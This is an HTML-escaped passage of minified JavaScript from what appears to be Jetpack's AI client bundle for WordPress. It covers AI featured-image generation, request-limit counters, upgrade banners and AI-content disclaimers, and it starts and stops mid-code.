again!&quot;,&quot;jetpack&quot;),n?.message&amp;&amp;(0,p.jsx)(&quot;span&quot;,{className:&quot;ai-assistant-image__error-message&quot;,children:n?.message})]})}):(0,p.jsx)(p.Fragment,{children:s||e||a?(0,p.jsx)(&quot;img&quot;,{className:&quot;ai-assistant-image__carrousel-image&quot;,src:e||a,alt:o}):(0,p.jsx)(h,{children:(0,p.jsx)(d.A,{})})})})},&quot;image:&quot;+i)),e.length&gt;1&amp;&amp;v]}),(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel-footer&quot;,children:[(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel-footer-left&quot;,children:[(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel-counter&quot;,children:[b,y,&quot; / &quot;,k,v]}),(0,p.jsx)(u.A,{disabled:g,ratedItem:e[t]?.libraryUrl||&quot;&quot;,iconSize:20,options:{mediaLibraryId:Number(e[t].libraryId),prompt:e[t].prompt,revisedPrompt:e[t].revisedPrompt},feature:&quot;image-generator&quot;})]}),(0,p.jsx)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel-actions&quot;,children:m})]})]})}},47560(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(27723),o=(s(97011),s(10790));const __=n.__;function a({currentLimit:e,currentUsage:t,cost:s}){const a=e-t,i=(0,r.createInterpolateElement)(
// Translators: %d is the cost of one image.
// Translators: %d is the cost of one image.
(0,n.sprintf)(__(&quot;Requests needed: &lt;counter&gt;%d&lt;/counter&gt;&quot;,&quot;jetpack&quot;),s),{counter:(0,o.jsx)(&quot;span&quot;,{})}),l=(0,r.createInterpolateElement)((0,n.sprintf)(
// Translators: %d is the current requests balance.
__(&quot;Requests available: &lt;counter&gt;%d&lt;/counter&gt;&quot;,&quot;jetpack&quot;),a),{counter:a&lt;s?(0,o.jsx)(&quot;span&quot;,{className:&quot;ai-assistant-featured-image__usage-counter-no-limit&quot;}):(0,o.jsx)(&quot;strong&quot;,{})});return(0,o.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-featured-image__usage-counter&quot;,children:[(0,o.jsx)(&quot;span&quot;,{children:i}),(0,o.jsx)(&quot;span&quot;,{children:l})]})}},89289(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;x});var r=s(85985),n=s(56427),o=s(47143),a=s(43656),i=s(86087),l=s(27723),c=s(10067),u=s.n(c),d=(s(54339),s(43984)),p=s(72448),h=s(71508),m=s(62038),g=s(96390),f=s(3620),b=s(35918),v=s(75988),k=s(10790);const __=l.__,y=u()(&quot;jetpack-ai-client:featured-image&quot;);function x({busy:e,disabled:t,placement:s,onClose:c=()=&gt;{}}){const[u,x]=(0,i.useState)(s===v.hB),j=(0,b.A)(),{getPostContent:w,isEditedPostEmpty:_}=(0,h.A)(),{postTitle:C,postFeaturedMediaId:A,isEditorPanelOpened:S}=(0,o.useSelect)(e=&gt;({postTitle:e(a.store).getEditedPostAttribute(&quot;title&quot;),postFeaturedMediaId:e(a.store).getEditedPostAttribute(&quot;featured_media&quot;),isEditorPanelOpened:e(a.store).isEditorPanelOpened??e(&quot;core/edit-post&quot;).isEditorPanelOpened}),[]),{saveToMediaLibrary:E}=(0,m.A)(),{tracks:N}=(0,r.st)(),{recordEvent:T}=N,[B,P]=(0,i.useState)(null),[I,M]=(0,i.useState)(&quot;&quot;),{enableComplementaryArea:L}=(0,o.useDispatch)(&quot;core/interface&quot;),{clearSelectedBlock:R}=(0,o.useDispatch)(&quot;core/block-editor&quot;),{toggleEditorPanelOpened:D}=(0,o.useDispatch)(&quot;core/edit-post&quot;),{editPost:F,toggleEditorPanelOpened:O}=(0,o.useDispatch)(a.store),{requireUpgrade:z,requestsCount:U,requestsLimit:H,currentTier:q,costs:V}=(0,p.A)(),$=(0,r.Bd)(q),G=V?.[v.oW]?.activeModel??10,W=G===V?.[v.oW]?.stableDiffusion?v.Dk:v.bb,Z=$===r.Ti,J=H-U&lt;G,K=O??D,{pointer:Y,current:Q,setCurrent:X,processImageGeneration:ee,handlePreviousImage:te,handleNextImage:se,currentImage:re,currentPointer:ne,images:oe,imageStyles:ae,guessStyle:ie}=(0,f.A)({autoStart:!1,cost:G,type:&quot;featured-image-generation&quot;,feature:v.oW,previousMediaId:A}),le=(0,i.useCallback)(()=&gt;{x(!1),c?.()},[c]),ce=(0,i.useCallback)(()=&gt;{x(!0)},[]),ue=(0,i.useCallback)(e=&gt;{const t=C+&quot;\n\n&quot;+w();return ie(e,&quot;featured-image-guess-style&quot;,t)},[C,w,ie]),de=(0,i.useCallback)(({userPrompt:e,style:t})=&gt;(T(&quot;jetpack_ai_featured_image_generation_generate_image&quot;,{placement:s,model:W,site_type:j,style:t,userPrompt:e}),x(!0),ee({userPrompt:e,postContent:C+&quot;\n\n&quot;+w(),notEnoughRequests:J,style:t}).catch(e=&gt;{T(&quot;jetpack_ai_featured_image_generation_error&quot;,{placement:s,error:e?.message,model:W,site_type:j,style:t})})),[T,s,W,j,ee,w,J,C]),pe=(0,i.useCallback)(async()=&gt;{ne.generating=!0;const e=await ue(&quot;&quot;);P(e);const t=await de({userPrompt:&quot;&quot;,style:e});t&amp;&amp;(y(&quot;handleFirstGenerate&quot;,t.revisedPrompt),M(t.revisedPrompt||&quot;&quot;))},[ne,de,ue]),he=(0,i.useCallback)(({userPrompt:e,style:t})=&gt;{T(&quot;jetpack_ai_featured_image_generation_generate_another_image&quot;,{placement:s,model:W,site_type:j,style:t}),X(()=&gt;oe.length),ee({userPrompt:e,postContent:C+&quot;\n\n&quot;+w(),notEnoughRequests:J,style:t}).catch(r=&gt;{T(&quot;jetpack_ai_featured_image_generation_error&quot;,{placement:s,error:r?.message,model:W,site_type:j,style:t,userPrompt:e})})},[T,s,W,j,X,ee,C,w,J,oe]),me=(0,i.useCallback)(({userPrompt:e,style:t})=&gt;{T(&quot;jetpack_ai_featured_image_generation_try_again&quot;,{placement:s,model:W,site_type:j,style:t}),ee({userPrompt:e,postContent:C+&quot;\n\n&quot;+w(),notEnoughRequests:J,style:t}).catch(e=&gt;{T(&quot;jetpack_ai_featured_image_generation_error&quot;,{placement:s,error:e?.message,model:W,site_type:j,style:t})})},[T,s,W,j,ee,w,J,C]),ge=(0,i.useCallback)(()=&gt;(R(),L(&quot;core/edit-post&quot;,&quot;edit-post/document&quot;)),[R,L]),fe=(0,i.useCallback)(()=&gt;{T(&quot;jetpack_ai_featured_image_generation_use_image&quot;,{placement:s,model:W,site_type:j});const e=e=&gt;{F({featured_media:e}),le(),setTimeout(()=&gt;{const e=S(&quot;featured-image&quot;),t=S(&quot;post-status&quot;);ge().then(()=&gt;{e||K(&quot;featured-image&quot;),t||K(&quot;post-status&quot;)})},500)};re?.libraryId?e(re?.libraryId):E(re?.image).then(t=&gt;{e(t?.id)}).catch(e=&gt;{T(&quot;jetpack_ai_featured_image_saving_error&quot;,{placement:s,error:e?.message,model:W,site_type:j})})},[T,s,W,j,re?.libraryId,re?.image,F,le,S,ge,K,E]),be=__(&quot;Generate another image&quot;,&quot;jetpack&quot;),ve=__(&quot;Generate&quot;,&quot;jetpack&quot;),ke=!(_()&amp;&amp;!C.trim?.()),ye=ke?I.length&gt;=0:I.length&gt;=3,xe=J||ne?.generating||z,je=xe||!ke&amp;&amp;!ye,we=J?(0,l.sprintf)(
// Translators: %d is the cost of generating a featured image.
__(&quot;Featured image generation costs %d requests per image. You don&#039;t have enough requests to generate another image.&quot;,&quot;jetpack&quot;),G):null,_e=(0,k.jsx)(n.Button,{onClick:fe,variant:&quot;primary&quot;,disabled:!re?.image||re?.generating||re?.libraryId===A,children:__(&quot;Set as featured image&quot;,&quot;jetpack&quot;)});return(0,k.jsxs)(k.Fragment,{children:[(s===d.s6||s===d.wb)&amp;&amp;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(&quot;p&quot;,{className:&quot;jetpack-ai-assistant__help-text&quot;,children:__(&quot;Based on your post content.&quot;,&quot;jetpack&quot;)}),(0,k.jsx)(n.Button,{onClick:ce,isBusy:e,disabled:t||J,variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,children:__(&quot;Generate image&quot;,&quot;jetpack&quot;)})]}),(0,k.jsx)(g.A,{autoStart:ke&amp;&amp;!A,autoStartAction:pe,images:oe,currentIndex:Q,title:__(&quot;Generate a featured image with AI&quot;,&quot;jetpack&quot;),cost:G,open:u,placement:s,onClose:le,onTryAgain:me,onGenerate:Y?.current&gt;0||A?he:de,generating:ne?.generating,notEnoughRequests:J,requireUpgrade:z,upgradeDescription:we,currentLimit:H,currentUsage:U,isUnlimited:Z,hasError:Boolean(ne?.error),handlePreviousImage:te,handleNextImage:se,acceptButton:_e,generateButtonLabel:Y?.current&gt;0?be:ve,instructionsPlaceholder:__(&quot;Describe the featured image you&#039;d like to create and select a style.&quot;,&quot;jetpack&quot;),imageStyles:ae,onGuessStyle:ue,prompt:I,setPrompt:M,initialStyle:B,inputDisabled:xe,actionDisabled:je})]})}},83158(e,t,s){&quot;use strict&quot;;s(85985),s(56427),s(86087),s(27723);var r=s(10067),n=s.n(r);s(54339),s(72448),s(71508),s(62038),s(96390),s(3620),s(35918),s(10790);n()(&quot;jetpack-ai:general-purpose-image&quot;)},3620(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(47143),n=s(86087),o=s(27723),a=s(93832),i=s(31439),l=s(72448),c=s(62614),u=s(62038),d=s(75988);const __=o.__;function p({feature:e,type:t,cost:s,autoStart:o=!0,previousMediaId:p}){const{generateImageWithParameters:h}=(0,c.Ay)(),{increaseRequestsCount:m,featuresControl:g}=(0,l.A)(),{saveToMediaLibrary:f}=(0,u.A)(),{createNotice:b}=(0,r.useDispatch)(&quot;core/notices&quot;),v=(0,n.useRef)(0),[k,y]=(0,n.useState)(0),[x,j]=(0,n.useState)([{generating:o}]),w=e===d.oW?&quot;featured-image&quot;:&quot;image&quot;,_=g?.[w],C=_?.styles,A=(0,n.useCallback)((e,t)=&gt;{j(s=&gt;{const r=[...s];return r[t]={...r[t],...e},r})},[]),S=(0,r.useSelect)(e=&gt;e(&quot;core&quot;)?.getEntityRecord?.(&quot;postType&quot;,&quot;attachment&quot;,p),[p]);(0,n.useEffect)(()=&gt;{S&amp;&amp;A({image:S.source_url,libraryId:S.id,libraryUrl:S.source_url,generating:!1},v.current)},[S,A]);const E=(0,n.useCallback)(e=&gt;{b(&quot;success&quot;,e,{type:&quot;snackbar&quot;,isDismissible:!0})},[b]),N=(0,n.useCallback)(()=&gt;{m(s)},[m,s]),T=(0,n.useCallback)(e=&gt;{if(!e)return&quot;image.png&quot;;const t=e.split(&quot; &quot;).slice(0,10).join(&quot; &quot;);return(0,a.cleanForSlug)(t)+&quot;.png&quot;},[]),B=(0,n.useCallback)(({userPrompt:s,postContent:r,notEnoughRequests:n,style:o=null})=&gt;new Promise((a,i)=&gt;{if(p&amp;&amp;0===v.current&amp;&amp;v.current++,A({generating:!0,error:null},v.current),n)return A({generating:!1,error:new Error(__(&quot;You don&#039;t have enough requests to generate another image.&quot;,&quot;jetpack&quot;))},v.current),void a({});const l=h({feature:e,size:&quot;1792x1024&quot;,responseFormat:&quot;b64_json&quot;,messages:[{role:&quot;jetpack-ai&quot;,context:{type:t,request:s||null,content:r,style:o}}],style:o||&quot;&quot;}),c=T(s);l.then(e=&gt;{if(e.data.length&gt;0){const t=&quot;data:image/png;base64,&quot;+e.data[0].b64_json,r=s||null,n=e.data[0].revised_prompt||null;A({image:t,prompt:r,revisedPrompt:n},v.current),N(),f(t,c).then(e=&gt;{E(__(&quot;Image saved to media library.&quot;,&quot;jetpack&quot;)),A({libraryId:e?.id,libraryUrl:e?.url,generating:!1},v.current),v.current+=1,a({image:t,libraryId:e?.id,libraryUrl:e?.url,revisedPrompt:n})}).catch(()=&gt;{A({generating:!1},v.current),v.current+=1,a({image:t})})}}).catch(e=&gt;{A({generating:!1,error:e},v.current),i(e)})}),[A,h,e,t,N,f,E,T,p]),P=(0,n.useCallback)(()=&gt;{y(Math.max(k-1,0))},[k]),I=(0,n.useCallback)(()=&gt;{y(Math.min(k+1,x.length-1))},[k,x.length]),M=(0,n.useCallback)(async function(e,t=&quot;&quot;,s=&quot;&quot;){if(!C||!C.length)return null;const r=[{role:&quot;jetpack-ai&quot;,context:{type:t||&quot;general-image-guess-style&quot;,request:e,content:s}}];try{const e=await(0,i.A)(r,{feature:&quot;jetpack-ai-image-generator&quot;});if(!e)return null;const t=C.find(({value:t})=&gt;t===e);return t?t.value:null}catch(e){Promise.reject(e)}},[C]);return{current:k,setCurrent:y,processImageGeneration:B,handlePreviousImage:P,handleNextImage:I,currentImage:x[k],currentPointer:x[v.current],images:x,pointer:v,imageStyles:C,guessStyle:M}}},35918(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(97999),n=s(86087);function o(){const[e]=(0,n.useState)((0,r.isWoASite)()?&quot;atomic&quot;:(0,r.isSimpleSite)()?&quot;simple&quot;:&quot;jetpack&quot;);return e}},77089(e,t,s){&quot;use strict&quot;;s.d(t,{m2:()=&gt;r.A});var r=s(89289);s(83158)},75988(e,t,s){&quot;use strict&quot;;s.d(t,{Dk:()=&gt;n,bb:()=&gt;o,hB:()=&gt;a,oW:()=&gt;r});const r=&quot;featured-post-image&quot;,n=&quot;stable-diffusion&quot;,o=&quot;dall-e-3&quot;,a=&quot;media-source-dropdown&quot;},46381(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(56427),n=s(86087),o=s(27723),a=s(13109),i=s(28847),l=(s(557),s(10790));const __=o.__;function c({onGuidelinesClick:e,onFeedbackClick:t}){const s=(0,n.useCallback)(()=&gt;{e?.()},[e]),o=(0,n.useCallback)(()=&gt;{t?.()},[t]);return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;ai-image-modal__footer-disclaimer&quot;,children:[(0,l.jsx)(a.A,{icon:i.A}),(0,l.jsx)(&quot;span&quot;,{children:__(&quot;Generated images could be inaccurate, biased or include text.&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(r.Button,{variant:&quot;link&quot;,className:&quot;ai-image-modal__guidelines-button&quot;,href:&quot;https://jetpack.com/redirect/?source=ai-guidelines&quot;,target:&quot;_blank&quot;,onClick:s,children:(0,l.jsxs)(&quot;span&quot;,{children:[__(&quot;Guidelines&quot;,&quot;jetpack&quot;),&quot; ↗&quot;]})})]}),(0,l.jsx)(r.Button,{variant:&quot;link&quot;,className:&quot;ai-image-modal__feedback-button&quot;,href:&quot;https://jetpack.com/redirect/?source=jetpack-ai-feedback&quot;,target:&quot;_blank&quot;,onClick:o,children:(0,l.jsxs)(&quot;span&quot;,{children:[__(&quot;Give feedback&quot;,&quot;jetpack&quot;),&quot; ↗&quot;]})})]})}},6754(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(13022),o=(s(93208),s(10790));function a({state:e}){return(0,o.jsx)(&quot;div&quot;,{className:(0,n.A)(&quot;jetpack-ai-status-indicator__icon-wrapper&quot;,{[`is-${e}`]:!0}),children:(0,o.jsx)(r.Spinner,{})})}},68203(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(32569),n=s(10790);function o({duration:e,className:t}){return(0,n.jsx)(&quot;span&quot;,{className:t,children:(0,r.f)(e,{addDecimalPart:!1})})}},32569(e,t,s){&quot;use strict&quot;;function r(e,{addDecimalPart:t=!1,showMinutes:s=!0,showHours:r=!1}={}){const n=Math.floor(e/36e5),o=Math.floor(e/6e4)%60,a=Math.floor(e/1e3)%60,i=Math.floor(e/10)%100,l=[n&gt;0||r?n.toString().padStart(2,&quot;0&quot;)+&quot;:&quot;:&quot;&quot;,n&gt;0||o&gt;0||s?o.toString().padStart(2,&quot;0&quot;)+&quot;:&quot;:&quot;&quot;,a.toString().padStart(2,&quot;0&quot;)];return t&amp;&amp;l.push(&quot;.&quot;+i.toString().padStart(2,&quot;0&quot;)),l.join(&quot;&quot;)}s.d(t,{f:()=&gt;r})},27802(e,t,s){&quot;use strict&quot;;s.d(t,{AK:()=&gt;l.AK,FC:()=&gt;r.FC,HL:()=&gt;n.A,Hb:()=&gt;u.A,N0:()=&gt;r.N0,QA:()=&gt;u.Q,RD:()=&gt;o.R,Yj:()=&gt;l.Yj,m2:()=&gt;a.m2,yV:()=&gt;c.A,z3:()=&gt;i.A});var r=s(42299),n=s(11497),o=s(23059),a=s(77089),i=(s(6754),s(68203)),l=(s(46381),s(63098)),c=s(14016),u=s(57853)},63098(e,t,s){&quot;use strict&quot;;s.d(t,{AK:()=&gt;j,Kw:()=&gt;w,Yj:()=&gt;y,k9:()=&gt;x});var r=s(56427),n=s(86087),o=s(27723),a=s(13109),i=s(88901),l=s(13022),c=(s(11008),s(42154)),u=s(78836),d=s(11497),p=s(10790);const __=o.__,h=&quot;warning&quot;,m=&quot;error&quot;,g=&quot;success&quot;,f=&quot;info&quot;,b={[f]:null,[h]:null,[m]:c.A,[g]:i.A};function v({severity:e=f,icon:t=null,aiFeedbackThumbsOptions:s={showAIFeedbackThumbs:!1,ratedItem:&quot;&quot;,prompt:&quot;&quot;,block:null,onRate:()=&gt;{}},children:r}){return(0,p.jsxs)(&quot;div&quot;,{className:(0,l.A)(&quot;jetpack-ai-assistant__message&quot;,`jetpack-ai-assistant__message-severity-${e}`),children:[(b[e]||t)&amp;&amp;(0,p.jsx)(a.A,{icon:b[e]||t}),(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-assistant__message-content&quot;,children:r}),s.showAIFeedbackThumbs&amp;&amp;s.prompt&amp;&amp;(0,p.jsx)(d.A,{disabled:!1,ratedItem:s.ratedItem,feature:&quot;ai-assistant&quot;,options:{prompt:s.prompt,block:s.block},onRate:s.onRate})]})}function k(){return(0,p.jsx)(r.ExternalLink,{href:&quot;https://jetpack.com/redirect/?source=ai-guidelines&quot;,children:__(&quot;Learn more&quot;,&quot;jetpack&quot;)})}function y({aiFeedbackThumbsOptions:e={showAIFeedbackThumbs:!1,ratedItem:&quot;&quot;,prompt:&quot;&quot;,block:null,onRate:()=&gt;{}}}){return(0,p.jsxs)(v,{aiFeedbackThumbsOptions:e,children:[(0,p.jsx)(&quot;span&quot;,{children:__(&quot;AI-generated content could be inaccurate or biased.&quot;,&quot;jetpack&quot;)}),(0,p.jsx)(k,{})]})}function x(){const e=__(&quot;You&#039;ve reached this month&#039;s request limit, per our &lt;link&gt;fair usage policy&lt;/link&gt;&quot;,&quot;jetpack&quot;),t=(0,n.createInterpolateElement)(e,{link:(0,p.jsx)(r.ExternalLink,{href:&quot;https://jetpack.com/redirect/?source=ai-assistant-fair-usage-policy&quot;,children:null})});return(0,p.jsx)(v,{severity:h,children:t})}function j({requestsRemaining:e,severity:t,onUpgradeClick:s,upgradeUrl:n}){let a=t;return null==a&amp;&amp;(a=e&gt;0?f:h),(0,p.jsxs)(v,{severity:a,children:[(0,p.jsx)(&quot;span&quot;,{children:(0,o.sprintf)(
// translators: %1$d: number of requests remaining
__(&quot;You have %1$d requests remaining.&quot;,&quot;jetpack&quot;),e)}),(0,p.jsx)(r.Button,{variant:&quot;link&quot;,onClick:s,href:n,target:n?&quot;_blank&quot;:null,children:(0,p.jsx)(&quot;span&quot;,{children:__(&quot;Upgrade now&quot;,&quot;jetpack&quot;)})})]})}function w({error:e,code:t,onTryAgainClick:s,onUpgradeClick:n,upgradeUrl:a}){const i=e||__(&quot;Something went wrong&quot;,&quot;jetpack&quot;);return(0,p.jsxs)(v,{severity:m,children:[(0,p.jsx)(&quot;span&quot;,{children:(0,o.sprintf)(
// translators: %1$d: A dynamic error message
__(&quot;Error: %1$s&quot;,&quot;jetpack&quot;),i)}),t===u.Or?(0,p.jsx)(r.Button,{variant:&quot;link&quot;,onClick:n,href:a,target:a?&quot;_blank&quot;:null,children:(0,p.jsx)(&quot;span&quot;,{children:__(&quot;Upgrade now&quot;,&quot;jetpack&quot;)})}):(0,p.jsx)(r.Button,{variant:&quot;link&quot;,onClick:s,children:(0,p.jsx)(&quot;span&quot;,{children:__(&quot;Try again&quot;,&quot;jetpack&quot;)})})]})}},14016(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(56427),n=s(27723),o=s(51489),a=s(6754),i=(s(28494),s(10790));const __=n.__,l=({requestingState:e,onClose:t,title:s})=&gt;(0,i.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-modal__header&quot;,children:[(0,i.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-modal__title-wrapper&quot;,children:[(0,i.jsx)(a.A,{state:e}),(0,i.jsx)(&quot;h1&quot;,{className:&quot;ai-assistant-modal__title&quot;,children:s})]}),(0,i.jsx)(r.Button,{icon:o.A,label:__(&quot;Close&quot;,&quot;jetpack&quot;),onClick:t})]});function c({children:e,handleClose:t,hideHeader:s=!0,requestingState:n=&quot;init&quot;,title:o=__(&quot;AI Assistant&quot;,&quot;jetpack&quot;),maxWidth:a=720}){return(0,i.jsx)(r.Modal,{__experimentalHideHeader:s,className:&quot;ai-assistant-modal&quot;,shouldCloseOnClickOutside:!1,onRequestClose:t,children:(0,i.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-modal__content&quot;,style:{maxWidth:a},children:[(0,i.jsx)(l,{requestingState:n,onClose:t,title:o}),e]})})}},57853(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b,Q:()=&gt;f});var r=s(3924),n=s(85985),o=s(82201),a=s(56427),i=s(86087),l=s(27723),c=s(10067),u=s.n(c),d=s(42694),p=s(72448),h=s(71567),m=(s(17277),s(10790));const __=l.__,g=u()(&quot;jetpack-ai-client:upgrade-prompt&quot;),f=({variant:e=&quot;error&quot;})=&gt;{const t=(()=&gt;{const{usagePeriod:e}=(0,p.A)(),t=(e=&gt;{const t=__(&quot;You&#039;ve reached this month&#039;s request limit, per our &lt;link&gt;&lt;span&gt;fair usage policy&lt;/span&gt;&lt;/link&gt;.&quot;,&quot;jetpack&quot;);if(!e)return t;
// Translators: %s is the date when the requests will reset.
const s=__(&quot;Requests will reset on %s.&quot;,&quot;jetpack&quot;);return`${t} ${(0,l.sprintf)(s,e)}`})((e=&gt;{if(!e?.nextStart)return null;const t=new Date(e.nextStart);return t.toLocaleString(&quot;default&quot;,{month:&quot;long&quot;})+&quot; &quot;+t.getDate()})(e));return(0,i.createInterpolateElement)(t,{link:(0,m.jsx)(&quot;a&quot;,{href:&quot;https://jetpack.com/redirect/?source=ai-assistant-fair-usage-policy&quot;,target:&quot;_blank&quot;,rel:&quot;noreferrer&quot;}),span:(0,m.jsx)(&quot;span&quot;,{})})})();return&quot;muted&quot;===e?(0,m.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-fair-usage-notice-muted-variant&quot;,children:t}):&quot;error&quot;===e?(0,m.jsx)(a.Notice,{status:&quot;error&quot;,isDismissible:!1,className:&quot;jetpack-ai-fair-usage-notice&quot;,children:t}):null},b=e=&gt;{const{upgradeType:t,currentTier:s}=(0,p.A)();return 1===s?.value?(0,m.jsx)(f,{}):&quot;vip&quot;===t?(({description:e=null,useLightNudge:t=!1})=&gt;{const s=t?h.U:o.cb,r=(0,i.createInterpolateElement)(__(&quot;You&#039;ve reached the Jetpack AI rate limit. &lt;strong&gt;Please reach out to your VIP account team.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),{strong:(0,m.jsx)(&quot;strong&quot;,{})});return(0,m.jsx)(s,{buttonText:null,checkoutUrl:null,className:&quot;jetpack-ai-upgrade-banner&quot;,description:e||r,goToCheckoutPage:null,isRedirecting:null,visible:!0,align:null,title:null,context:null})})({description:e.description,useLightNudge:e?.useLightNudge}):(({placement:e=null,description:t=null,useLightNudge:s=!1})=&gt;{const a=s?h.U:o.cb,{checkoutUrl:c}=(0,d.A)(),u=(0,n.CP)(),{nextTier:f,tierPlansEnabled:b,currentTier:v,requestsCount:k}=(0,p.A)(),{tracks:y}=(0,n.st)(),x=(0,i.useCallback)(()=&gt;{g(&quot;upgrade&quot;,e),y.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{current_tier_slug:v?.slug,requests_count:k,placement:e})},[v,k,y,e]),j=(0,i.useCallback)(()=&gt;{g(&quot;contact us&quot;,e),y.recordEvent(&quot;jetpack_ai_upgrade_contact_us&quot;,{placement:e})},[y,e]);if(!u){const e=(0,i.createInterpolateElement)(__(&quot;Congratulations on exploring Jetpack AI and reaching the free requests limit! &lt;strong&gt;Reach out to the site administrator to upgrade and keep using Jetpack AI.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),{strong:(0,m.jsx)(&quot;strong&quot;,{})});return(0,m.jsx)(a,{showButton:!1,className:&quot;jetpack-ai-upgrade-banner&quot;,description:t||e,visible:!0,align:null,title:null,context:null})}if(b){if(!f){const e=(0,r.A)(&quot;jetpack-ai-tiers-more-requests-contact&quot;),s=__(&quot;You have reached the request limit for your current plan.&quot;,&quot;jetpack&quot;);return(0,m.jsx)(a,{buttonText:__(&quot;Contact Us&quot;,&quot;jetpack&quot;),description:t||s,className:&quot;jetpack-ai-upgrade-banner&quot;,checkoutUrl:e,visible:!0,align:null,title:null,context:null,goToCheckoutPage:j,target:&quot;_blank&quot;})}const e=(0,i.createInterpolateElement)((0,l.sprintf)(/* Translators: %d: the number of requests allowed */
__(&quot;You have reached the requests limit for your current plan. &lt;strong&gt;Upgrade now to increase your requests limit to %d.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),f.limit),{strong:(0,m.jsx)(&quot;strong&quot;,{})});return(0,m.jsx)(a,{buttonText:(0,l.sprintf)(/* Translators: %d: the number of requests */
__(&quot;Upgrade to %d requests&quot;,&quot;jetpack&quot;),f.limit),checkoutUrl:c,className:&quot;jetpack-ai-upgrade-banner&quot;,description:t||e,goToCheckoutPage:x,visible:!0,align:&quot;center&quot;,title:null,context:null,target:&quot;_blank&quot;})}return(0,m.jsx)(a,{buttonText:__(&quot;Upgrade&quot;,&quot;jetpack&quot;),checkoutUrl:c,className:&quot;jetpack-ai-upgrade-banner&quot;,description:(0,i.createInterpolateElement)(__(&quot;Congratulations on exploring Jetpack AI and reaching the free requests limit! &lt;strong&gt;Upgrade now to keep using it.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),{strong:(0,m.jsx)(&quot;strong&quot;,{})}),goToCheckoutPage:x,visible:!0,align:null,title:null,context:null,target:&quot;_blank&quot;})})(e)}},71567(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;a});var r=s(56427),n=s(27723),o=(s(17277),s(10790));const __=n.__,a=({title:e,description:t,buttonText:s=null,checkoutUrl:n=null,goToCheckoutPage:a=null,isRedirecting:i=!1,showButton:l=!0,target:c=&quot;_top&quot;})=&gt;{const u=__(&quot;Redirecting…&quot;,&quot;jetpack&quot;);return(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-upgrade-plan-banner-light&quot;,children:(0,o.jsx)(r.Notice,{status:&quot;error&quot;,isDismissible:!1,children:(0,o.jsxs)(&quot;p&quot;,{children:[e&amp;&amp;(0,o.jsx)(&quot;strong&quot;,{children:e}),t,&quot; &quot;,l&amp;&amp;(0,o.jsx)(r.Button,{href:i?null:n,onClick:a,variant:&quot;link&quot;,target:c,children:(0,o.jsx)(&quot;span&quot;,{children:i?u:s})})]})})})}},43984(e,t,s){&quot;use strict&quot;;s.d(t,{A4:()=&gt;l,DD:()=&gt;j,DT:()=&gt;B,Gm:()=&gt;g,HM:()=&gt;w,JR:()=&gt;_,K2:()=&gt;A,Rq:()=&gt;T,UA:()=&gt;m,UD:()=&gt;C,br:()=&gt;d,d5:()=&gt;v,eJ:()=&gt;h,fD:()=&gt;p,fv:()=&gt;k,im:()=&gt;a,mI:()=&gt;S,mT:()=&gt;N,oZ:()=&gt;o,pE:()=&gt;f,s6:()=&gt;P,sn:()=&gt;i,so:()=&gt;n,u0:()=&gt;y,uQ:()=&gt;x,vE:()=&gt;u,wb:()=&gt;I,yQ:()=&gt;E,yy:()=&gt;c,z5:()=&gt;b});var r=s(27723);const __=r.__,n={en:{label:__(&quot;English&quot;,&quot;jetpack&quot;)},es:{label:__(&quot;Spanish&quot;,&quot;jetpack&quot;)},fr:{label:__(&quot;French&quot;,&quot;jetpack&quot;)},de:{label:__(&quot;German&quot;,&quot;jetpack&quot;)},it:{label:__(&quot;Italian&quot;,&quot;jetpack&quot;)},pt:{label:__(&quot;Portuguese&quot;,&quot;jetpack&quot;)},ru:{label:__(&quot;Russian&quot;,&quot;jetpack&quot;)},zh:{label:__(&quot;Chinese&quot;,&quot;jetpack&quot;)},ja:{label:__(&quot;Japanese&quot;,&quot;jetpack&quot;)},ar:{label:__(&quot;Arabic&quot;,&quot;jetpack&quot;)},hi:{label:__(&quot;Hindi&quot;,&quot;jetpack&quot;)},ko:{label:__(&quot;Korean&quot;,&quot;jetpack&quot;)}},o={formal:{label:__(&quot;Formal&quot;,&quot;jetpack&quot;),emoji:&quot;🎩&quot;},informal:{label:__(&quot;Informal&quot;,&quot;jetpack&quot;),emoji:&quot;😊&quot;},optimistic:{label:__(&quot;Optimistic&quot;,&quot;jetpack&quot;),emoji:&quot;😃&quot;},humorous:{label:__(&quot;Humorous&quot;,&quot;jetpack&quot;),emoji:&quot;😂&quot;},serious:{label:__(&quot;Serious&quot;,&quot;jetpack&quot;),emoji:&quot;😐&quot;},skeptical:{label:__(&quot;Skeptical&quot;,&quot;jetpack&quot;),emoji:&quot;🤨&quot;},empathetic:{label:__(&quot;Empathetic&quot;,&quot;jetpack&quot;),emoji:&quot;💗&quot;},confident:{label:__(&quot;Confident&quot;,&quot;